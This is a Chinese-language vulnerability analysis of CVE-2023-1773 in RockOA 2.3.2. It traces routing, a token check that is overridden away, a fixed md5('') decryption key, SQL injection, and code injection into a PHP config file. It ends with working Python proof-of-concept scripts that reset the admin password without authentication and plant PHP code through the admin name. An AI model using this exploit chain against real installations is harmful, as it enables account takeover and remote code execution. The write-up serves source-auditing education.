一、漏洞入口
根据 CVE 官网(https://www.cve.org/CVERecord?id=CVE-2023-1773)的描述:

它将该漏洞归类为 RockOA 2.3.2 的 webmainConfig.php 相关代码注入漏洞,一些漏洞数据库基本都复用了该表述:



但经源码审计,漏洞根因更准确地说是配置保存逻辑未正确处理用户可控输入,导致可控内容写入 PHP 配置文件并在后续包含加载时触发代码注入。
真正的漏洞入口文件是 webmain\system\cog\cogAction.php,聚焦其中的 savecongAjax() 方法(截取了关键部分):
php
public function savecongAjax()
{
if(getconfig('systype')=='demo')exit('演示上禁止设置');
if($this->getsession('isadmin')!='1')exit('非管理员不能操作');
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
@$bo = file_put_contents($_confpath, $str);
}
首先,这是需要管理员权限才能进行的操作,为了使讲述逻辑更清晰,先假设"已经登入了管理员账号"
$this->adminname 未经过滤直接拼接进了 PHP 源码当中,若该对象用户可控,将其改为:
php
\nphpinfo();//
拼接之后,得到的 PHP 代码就是:
php
<?php
if(!defined(\'HOST\'))die(\'not access\');
//[
phpinfo();//]在<某时刻>通过[系统→系统工具→系统设置],保存修改了配置文件
return array($str1);
接着:
php
file_put_contents($_confpath, $str)
这会将 $str 写入指定文件($_confpath)当中。
具体是哪个文件呢?
还是当前文件,可以找到定义:
php
$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
追踪链条,先确定 $this->rock 对象:
php
// include\Action.php
$this->rock = $GLOBALS['rock'];
取自全局变量 $rock:
php
// config\config.php
$rock = new rockClass();
查看类定义,并且找到 strformat 方法:
php
public function strformat($str)
{
$len = func_num_args();
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
$s = $this->stringformat($str, $arr);
return $s;
}
public function stringformat($str, $arr=array())
{
$s = $str;
for($i=0; $i<count($arr); $i++){
$s=str_replace('?'.$i.'', $arr[$i], $s);
}
return $s;
}
虽然 strformat 方法签名只写了一个形式参数,但 PHP 允许你在调用时传入更多参数,也就是我们看到的:
php
$this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
这时:
php
$str = '?0/?1/?1Config.php'
后面的:
php
ROOT_PATH
PROJECT
不会丢失,而是可以通过 PHP 的可变参数函数取出来,源码中用到的就是:
php
$len = func_num_args(); // 实际传入参数数量,这里是 3
func_get_arg(0); // '?0/?1/?1Config.php'
func_get_arg(1); // ROOT_PATH
func_get_arg(2); // PROJECT
然后这段:
php
$arr = array();
for($i=1; $i<$len; $i++) {
$arr[] = func_get_arg($i);
}
创建了一个空数组,接着将参数(第 0 个参数除外)一一放入数组当中。
再传给:
php
$s = $this->stringformat($str, $arr);
带入具体参数即:
php
stringformat('?0/?1/?1Config.php', array(ROOT_PATH, PROJECT))
这个方法实现的是替换操作,即:
php
?0 -> ROOT_PATH
?1 -> PROJECT
最终得到:
php
ROOT_PATH/PROJECT/PROJECTConfig.php
这就是最终会被修改的文件。
接下来就是找到:
php
ROOT_PATH
PROJECT
的具体指代了,分别找到他们的定义:
php
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__)))); //系统跟目录路径
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));
因此,最终的结果就是:
<web根目录>/webmain/webmainConfig.php
webmainConfig.php 这个名字是不是很熟悉?没错,前面列举的漏洞数据库中的表述均提到了这个文件。
二、webmainConfig.php
这个文件为什么是关键呢?
上面我们提到,file_put_contents 函数会将一段未经过滤的数据写入 webmainConfig.php 文件中。
现在,假设 $this->adminname 这个用户真的可控,那么一旦 webmainConfig.php 这个文件被其他文件包含(即作为 PHP 代码使用而非文本),就会出现安全问题。
在 VScode 中进行搜索,直接搜索文件名是找不到有用的结果的(均只有注释的内容):

但是,通过前面的分析我们知道 $_confpath 这个变量就是指代该文件,再次搜索,就可以找到在 config\config.php 文件中:
php
//引入配置文件
$_confpath = $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
if(file_exists($_confpath)){
$_tempconf = require($_confpath);
foreach($_tempconf as $_tkey=>$_tvs)$config[$_tkey] = $_tvs;
if(isempt($config['url']))$config['url'] = $rock->url();
if(!isempt($config['memory_limit']) && function_exists('ini_set'))
ini_set('memory_limit', $config['memory_limit']);
if($config['timeout']>-1 && function_exists('set_time_limit'))set_time_limit($config['timeout']);
}
require() 就是 PHP 的文件包含函数之一。
从文件名也可以看出,这是一个配置文件,也可能存在被其他文件包含的现象,找到个最具代表性而且路由也方便的文件(index.php):

这说明了,只要访问 index.php 文件,它就会包含 webmainConfig.php。
接下来,就是要证明之前的假设($this->adminname 用户可控)成立了。
三、$this->adminname
之前看到的这段:
php
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
是在类:
php
cogClassAction
之中,这个类是 Action 的子类:
class cogClassAction extends Action
在父类 Action 中可以看到定义,以及相关方法:
php
public $adminid = 0;
public $adminuser = '';
public $adminname = '';
public $admintoken = '';
public $companyid = 0;
public $loadci = 0;
public $flow;
protected $ajaxbool = 'false';
public function getlogin($lx=0)
{
$this->ajaxbool = $this->rock->jm->gettoken('ajaxbool', 'false');
$this->adminid = (int)$this->getsession('adminid',0);
$this->adminuser = $this->getsession('adminuser');
$this->adminname = $this->getsession('adminname');
$this->admintoken = $this->getsession('admintoken');
$this->companyid = $this->getsession('companyid');
$this->setNowUser($this->adminid, $this->adminname, $this->adminuser);
$agid = $this->rock->get('agentid');
if($agid!='')$this->rock->savesession(array('wxqyagentid' => $agid));
$platsign= $this->rock->get('platsign');
if($platsign!='')$this->rock->savesession(array('platsign' => $platsign));
if($lx==0)$this->logincheck();
}
聚焦:
php
$this->adminname = $this->getsession('adminname');
getsession 在 Action 的父类 mainAction 有定义:
php
public function getsession($name,$dev='')
{
return $this->rock->session($name, $dev);
}
$this->rock 对象我们之前追踪过,直接找到对应方法的定义:
php
public function session($name,$dev='')
{
$val = '';
$name = QOM.$name;
if(isset($_SESSION[$name]))$val=$_SESSION[$name];
if($this->isempt($val))$val=$dev;
return $val;
}
即可以表述成
php
$this->adminname = session('adminname', '');
只要在 SESSION 中定义了 name 字段,那么 $this->adminname 就会被赋值成该字段的值。
可是这个值,一般都是在服务器端存储,只做校验,无法通过用户请求直接修改该值。
四、SQLi
这个 CVE 是由多个不安全操作共同导致的,在文件 webmain\task\api\reimplatAction.php 中存在 SQL 注入:
php
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");
}
聚焦:
php
$db->update()
找到对应的链:
php
$db = m('reimplat:dept');
function m($name)
{
$cls = NULL;
$pats = $nac = '';
$nas = $name;
$asq = explode(':', $nas);
if(count($asq)>1){
$nas = $asq[1];
$nac = $asq[0];
$pats = $nac.'/';
$_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
if(file_exists($_pats)){
include_once($_pats);
$class = ''.$nac.'Model';
$cls = new $class($nas);
}
}
$class = ''.$nas.'ClassModel';
$path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
if(file_exists($path)){
include_once($path);
if($nac!='')$class= $nac.'_'.$class;
$cls = new $class($nas);
}
if($cls==NULL)$cls = new sModel($nas);
return $cls;
}
会包含下述两个文件:
<Web根目录>/webmain/model/reimplat/reimplat.php
<Web根目录>/webmain/model/reimplat/deptModel.php
并且返回:
php
$cls = new sModel('dept');
return $cls;
即:
php
$db = new sModel('dept');
找到方法 update():
php
$this->db = $GLOBALS['db'];
public function update($arr,$where)
{
return $this->record($arr, $where);
}
public function record($arr, $where='')
{
return $this->db->record($this->table, $arr, $where);
}
注意构造方法:
php
public function __construct($table='')
{
$this->rock = $GLOBALS['rock'];
$this->db = $GLOBALS['db'];
$this->adminid = $this->rock->adminid;
$this->adminname = $this->rock->adminname;
$this->settable($table);
$this->initModel();
}
传输进来的"dept"是作为表名存在的。
还需要找到全局变量 $db 的定义:
php
$this->db = import(DB_DRIVE);
$GLOBALS['db'] = $this->db;
继续追踪 DB_DRIVE:
php
define('DB_DRIVE', $config['db_drive']);
继续追踪:
php
$config = array(
......
'db_drive' => 'mysqli', //数据库操作驱动
......
);
现在明白了 import 的实际上是:
php
$this->db = import(mysqli);
这个系统自己定义了 import 函数:
php
function import($name, $inbo=true)
{
$class = ''.$name.'Class';
$path = ''.ROOT_PATH.'/include/class/'.$class.'.php';
$cls = NULL;
if(file_exists($path)){
include_once($path);
if($inbo){
$cls = new $class();
}
}
return $cls;
}
所以实际包含的是:
<Web根目录>/include/class/mysqliClass.php
找到对应的文件就可以看到 record 方法的定义了:
php
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
if($addbool){
$sql="insert into `$table` set $cont";
}else{
$where = $this->getwhere($where);
$sql="update `$table` set $cont where $where";
}
return $this->tranbegin($sql);
}
注意:该方法并非直接在 mysqli.php 中,而是在其父类中,即文件
include\class\mysql.php。
整理一下,得到:
php
$db->update($upstr, $where);
等价于:
php
record($this->table, $upstr, $where);
注意看其中的:
php
$sql="update `$table` set $cont where $where";
没有过滤直接拼接了变量,并且后续的 SQL 执行操作并没有涉及到防御:
php
return $this->tranbegin($sql);
private function tranbegin($sql)
{
//if($this->errorbool)return false;
if($this->conn == null)$this->connect();
$this->iudcount++;
if(!$this->tran){
//$this->starttran();
//$this->tran=true;
}
$rsa = $this->query($sql);
$this->iudarr[]=$rsa;
if(!$rsa)$this->errorbool = true;
return $rsa;
}
public function query($sql, $ebo=true)
{
if($this->conn == null)$this->connect();
if($this->conn == null)exit('数据库的帐号/密码有错误!'.$this->errormsg.'');
$sql = trim($sql);
$sql = str_replace(array('[Q]','[q]','{asqom}'), array($this->perfix, $this->perfix,''), $sql);
$this->countsql++;
$this->sqlarr[] = $sql;
$this->nowsql = $sql;
$this->count = 0;
try {
$rsbool = $this->querysql($sql);
} catch (Exception $e) {
$rsbool = false;
$this->errormsg = $e->getMessage();
}
$this->nowerror = false;
if(!$rsbool)$this->nowerror = true;
$stabs = ''.$this->perfix.'log';
if(!contain($sql, $stabs) && !$rsbool)$this->errorlast = $this->error(); //最后错误信息
//记录错误sql
if(!$rsbool && $ebo){
$txt = '[ERROR SQL]'.chr(10).''.$sql.''.chr(10).''.chr(10).'[Reason]'.chr(10).''.$this->error().''.chr(10).'';
$efile = $this->rock->debug($txt,''.DB_DRIVE.'_sqlerr', true);
$errmsg = str_replace("'",''', $this->error());
if(!contain($sql, $stabs)){
m('log')->addlogs('错误SQL',''.$errmsg.'', 2, array(
'url' => $efile
));
}
}
return $rsbool;
}
protected function querysql($sql){return false;}
这就坐实了存在 SQLi。
接下来只需要搞定 $mobile 变量的来源:
php
$mobile = arrvalue($data, 'mobile');
追踪 $data 变量:
php
$body = $this->getpostdata();
$key = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
$data = json_decode($bodystr, true);
可以看到,通过 POST 接收数据后,分别进行了解密和 JSON 反序列化操作。
换言之,在构造 POST 请求正文的时候,先得进行 JSON 序列化操作然后再进行加密,这样服务器端才能正常处理请求。
先找到 $this->jm 对象:
php
$this->jm = c('jm', true);
继续追踪:
php
function c($name, $inbo=true, $param1='', $param2='')
{
$class = ''.$name.'Chajian';
$path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
$cls = NULL;
if(file_exists($path)){
include_once($path);
if($inbo)$cls = new $class($param1, $param2);
}
return $cls;
}
带入具体参数:
php
$class = jmChajian
找到该类的定义就能找到对应的加密与解密方法:
php
public function strlook($data,$key='')
{
if(isempt($data))return '';
if($key=='')$key = md5($this->jmsstr);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++){
if ($x == $l) {
$x = 0;
}
$char .= $key[$x];
$x++;
}
for ($i = 0; $i < $len; $i++){
$str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);
}
return $this->base64encode($str);
}
public function strunlook($data,$key='')
{
if(isempt($data))return '';
if($key=='')$key = md5($this->jmsstr);
$x = 0;
$data = $this->base64decode($data);
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++){
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++){
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))){
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}else{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return $str;
}
不难发现,这并不是标准的加密算法,而是作者自己实现的。
查看密钥来源:
php
public function gethkey()
{
$key = $this->reimplat_huitoken;
if(isempt($key))$key = $this->reimplat_secret;
if(isempt($key))$key = $this->reimplat_cnum;
return md5($key);
}
这三个属性:
reimplat_huitoken
reimplat_secret
reimplat_cnum
是 REIM 平台参数。
但是开发者在部署 OA 的时候并不一定采用该配套平台,换言之,这三个参数的值可能都为空,那么返回值就是固定的了。
代码可以精简成:
php
$key = ''
return md5('')
结果就是:
text
d41d8cd98f00b204e9800998ecf8427e
综上,在未配置 REIM 平台参数的部署状态下,回调解密密钥退化为公开固定值,这就是我们可以任意构造 POST 正文的关键。
五、路由
攻击链路很清楚了:通过 SQLi 修改 adminname,接着通过 savecongAjax() 方法将修改后的数据写入 webmainConfig.php 文件中,最后访问 index.php 就可以触发注入的代码。
现在要解决的就是路由问题了,即如何访问对应文件和方法。
一般在 index.php 中会有对应逻辑:
php
<?php
include_once('config/config.php');
$_uurl = $rock->get('rewriteurl');
$d = '';
$m = 'index';
$a = 'default';
if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
$m = $_uurl;
$_uurla = explode('_', $_uurl);
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
$_uurlasa = explode('=', $_uurlas);
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
}
}
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');
可以看到还包含了一个文件 include/View.php:
php
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);
$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);
$m = $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}
$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}
聚焦三个可控变量:
php
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
路由的目的地是由一些包含函数实现的:
php
$p = PROJECT;
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
最终访问的文件是:
<Web根目录>/webmain/webmainAction.php
<Web根目录>/webmain/$d$_m/$mAction.php
<Web根目录>/webmain/$d$_m/$_mAction.php
并且:
php
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
会实例化类:
php
$mClassAction
并且访问其中的方法(注意不同的情况会调用不同的方法):
php
ajaxbool=false / html / 未传
→ 调用 $aAction()
ajaxbool=true
→ 调用 $aAjax()
六、未授权访问
在讲"漏洞入口"的时候,我们假设了"已经登入管理员账号"。
换言之,只有登入了管理员账号后,后面的攻击链才成立。
上面提到,SQLi 存在的位置是 webmain\task\api\reimplatAction.php,在类 reimplatClassAction 中有一个方法:
php
public function initAction()
{
$this->display= false;
}
它重构了其父类的 initAction() 方法:
php
public function initAction()
{
$this->display= false;
$time = time();
$this->cfrom= $this->request('cfrom');
$this->token= $this->request('token', $this->admintoken);
$this->adminid = (int)$this->request('adminid', $this->adminid);
$this->adminname = '';
$boss = (M == 'login|api');
if(!$boss){
if($this->isempt($this->token))$this->showreturn('','token invalid', 199);
$lodb = m('login');
$onto = $lodb->getone("`uid`='$this->adminid' and `token`='$this->token' and `online`=1");
if(!$onto)$this->showreturn('','登录失效,请重新登录', 199);
$lodb->update("`moddt`='{$this->rock->now}'", $onto['id']);
}
$this->userrs = m('admin')->getone("`id`='$this->adminid' and `status`=1", '`name`,`user`,`id`,`ranking`,`deptname`,`deptid`');
if(!$this->userrs && !$boss){
$this->showreturn('', '用户已经不存在了,请重新登录', 199);
}
$this->adminname = arrvalue($this->userrs, 'name');
$this->rock->adminid = $this->adminid;
$this->rock->adminname = $this->adminname;
$this->admintoken = $this->token;
}
可以看到,其父类是有一套 Token 验证机制的,但是它将其重构,变成了没有验证。
一直追溯其父类、祖父类,能看到构造方法:
php
public function __construct()
{
$this->rock = $GLOBALS['rock'];
$this->smarty = $GLOBALS['smarty'];
$this->jm = c('jm', true);
$_obj = c('lang');if($_obj!=NULL && method_exists($_obj,'initLang'))$_obj->initLang();
$this->now = $this->rock->now();
$this->date = $this->rock->date;
$this->ip = $this->rock->ip;
$this->web = $this->rock->web;
$this->perfix = PREFIX;
$this->display = true;
$this->initMysql();
$this->initConstruct();
$this->initProject();
$this->initAction();
}
即当 reimplatClassAction 被实例化的时候,initAction() 会自动被调用,但是并不会有任何 Token 的检查措施。
而且我们还注意到:
php
//修改密码
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');
$pass = arrvalue($data, 'pass');
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
}
}
indexAction() 方法中,还能修改密码,而且修改的还是 admin 表中的,我们可以利用这点直接未授权修改管理员的密码,然后登入管理员账号。
七、Poc 构造
1、修改管理员密码
接口:
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task
为了方便大家分析,同样列出未 URL 编码前:
http://127.0.0.1:8080/task.php?m=reimplat|api&a=index&d=task
根据我们之前的路由分析,这个 URL 会路由到:
<Web根目录>/webmain/task/api/reimplatAction.php
并且实例化:
reimplatClassAction
还访问其中的方法(注意不同的情况会调用不同的方法):
php
indexAction()
修改密码:
python
import base64
import requests
key = 'd41d8cd98f00b204e9800998ecf8427e'.encode('ascii')
json_str = '{"msgtype":"editpass","user":"admin","pass":"cve123456"}'
data = json_str.encode('utf-8')
out = bytearray(len(data))
for i in range(len(data)):
out[i] = (data[i] + key[i % len(key)]) % 256
body = base64.b64encode(out).decode('ascii')
url = 'http://127.0.0.1:8080?m=reimplat|api&a=index&d=task'
headers = {'Content-Type': 'text/plain'}
response = requests.post(
url,
data=body,
headers=headers,
proxies={'http': None, 'https': None}
)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")
2、SQLi
接下来就是通过 SQLi 实现 adminname 的修改,我们的核心 payload 就是:
json
{
"msgtype": "editmobile",
"user": "admin",
"mobile": "1',name='\nphpinfo();//"
}
这会使得 SQL 语句变成:
sql
update `admin` set `mobile`='1',name='\nphpinfo();//' where `user`='admin'
这就会使得 admin 的 name 字段被修改,对应的就是 adminname 被修改。
但是我们不能明文传输,因为服务器有加密逻辑,因此需要加密后再传输。
将服务器端的加密和解密逻辑写成对应的 Python 代码:
python
import base64
import json
from typing import Any, Union
def is_empty(value: Any) -> bool:
"""
近似模拟 PHP isempt():
这里只把 None、空字符串、空 bytes 视为空。
"""
return value is None or value == "" or value == b""
def rock_base64_encode(data: Union[str, bytes]) -> str:
"""
对应 PHP:
base64_encode($str);
str_replace(array('+', '/', '='), array('!', '.', ':'), $str);
"""
if is_empty(data):
return ""
if isinstance(data, str):
data = data.encode("utf-8")
encoded = base64.b64encode(data).decode("ascii")
return encoded.replace("+", "!").replace("/", ".").replace("=", ":")
def rock_base64_decode(data: str) -> bytes:
"""
对应 PHP:
str_replace(array('!', '.', ':'), array('+', '/', '='), $str);
base64_decode($str);
"""
if is_empty(data):
return b""
normalized = data.replace("!", "+").replace(".", "/").replace(":", "=")
return base64.b64decode(normalized)
def strlook_bytes(data: bytes, key: str) -> str:
"""
对应 PHP strlook($data, $key)
明文字节 + key 字节,然后做自定义 base64。
"""
if is_empty(data):
return ""
if is_empty(key):
raise ValueError("key 不能为空")
key_bytes = key.encode("utf-8")
key_len = len(key_bytes)
out = bytearray()
for i, b in enumerate(data):
k = key_bytes[i % key_len]
out.append((b + k) % 256)
return rock_base64_encode(bytes(out))
def strunlook_bytes(ciphertext: str, key: str) -> bytes:
"""
对应 PHP strunlook($data, $key)
自定义 base64 解码后,密文字节 - key 字节。
"""
if is_empty(ciphertext):
return b""
if is_empty(key):
raise ValueError("key 不能为空")
cipher_bytes = rock_base64_decode(ciphertext)
key_bytes = key.encode("utf-8")
key_len = len(key_bytes)
out = bytearray()
for i, b in enumerate(cipher_bytes):
k = key_bytes[i % key_len]
if b < k:
out.append((b + 256) - k)
else:
out.append(b - k)
return bytes(out)
def strlook_text(plaintext: str, key: str) -> str:
"""
明文字符串加密。
"""
return strlook_bytes(plaintext.encode("utf-8"), key)
def strunlook_text(ciphertext: str, key: str, encoding: str = "utf-8") -> str:
"""
密文解密成字符串。
"""
return strunlook_bytes(ciphertext, key).decode(encoding, errors="replace")
def encode_json_body(obj: Any, key: str) -> str:
"""
把 Python 对象转成紧凑 JSON,然后按信呼 OA strlook() 加密。
推荐用这个构造 POST body。
单引号、双引号、中文、反斜杠等都交给 json.dumps() 自动处理。
"""
plaintext = json.dumps(
obj,
ensure_ascii=False,
separators=(",", ":")
)
return strlook_text(plaintext, key)
def decode_json_body(ciphertext: str, key: str) -> Any:
"""
解密 POST body,并尝试按 JSON 解析。
"""
plaintext = strunlook_text(ciphertext, key)
return json.loads(plaintext)
def main():
key = "d41d8cd98f00b204e9800998ecf8427e"
data = {
"msgtype": "editmobile",
"user": "admin",
"mobile": "1',name='\nphpinfo();//"
}
print("[*] 原始 Python 对象:")
print(data)
plaintext = json.dumps(data, ensure_ascii=False, separators=(",", ":"))
print("\n[*] JSON 明文:")
print(plaintext)
ciphertext = strlook_text(plaintext, key)
print("\n[*] 加密后的 POST body:")
print(ciphertext)
decrypted_text = strunlook_text(ciphertext, key)
print("\n[*] 解密后的 JSON 明文:")
print(decrypted_text)
decrypted_obj = json.loads(decrypted_text)
print("\n[*] 解密后的 Python 对象:")
print(decrypted_obj)
if __name__ == "__main__":
main()
运行后得到加密后的内容:
[*] 加密后的 POST body:
31ae15.X3amdiGpSx5aZqNKompmcnltkh9jZnaZUcYfFmJ7NpoWQW6XVkpnOl1Juh2pfXJ6app2iisKmpJqnztKaoIxhnpNoWuM:
接着继续访问接口:
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task
在 Burp 中将其修改成 POST 传值,并且将上面得到的正文内容复制上去:

注意:复现的时候,上述步骤完成后,退出登入并再次登入,否则信息并不会刷新。
3、触发写入
接下来就是触发写入 webmainConfig.php,访问 URL:
http://127.0.0.1:8080?a=savecong&m=cog&d=system&ajaxbool=true

4、再次访问 index.php
再次访问 index.php 的时候,就出现:

八、结语
通过这次分析可以看到,真实漏洞往往不只是某一个危险函数或某一行拼接代码造成的,而是路由设计、鉴权逻辑、业务接口、加密实现、数据库封装和配置写入机制共同作用的结果。对于源码审计来说,关键不在于孤立地寻找 file_put_contents()、require() 或 SQL 拼接,而在于把外部输入如何进入系统、如何被变换、如何跨越权限边界、最终如何抵达危险点完整串联起来。CVE-2023-1773 的价值也正在于此:它提供了一个很典型的老 PHP 系统审计样本,提醒我们在分析漏洞时,既要关注最终触发点,也要重视那些看似"只是业务逻辑"的中间环节。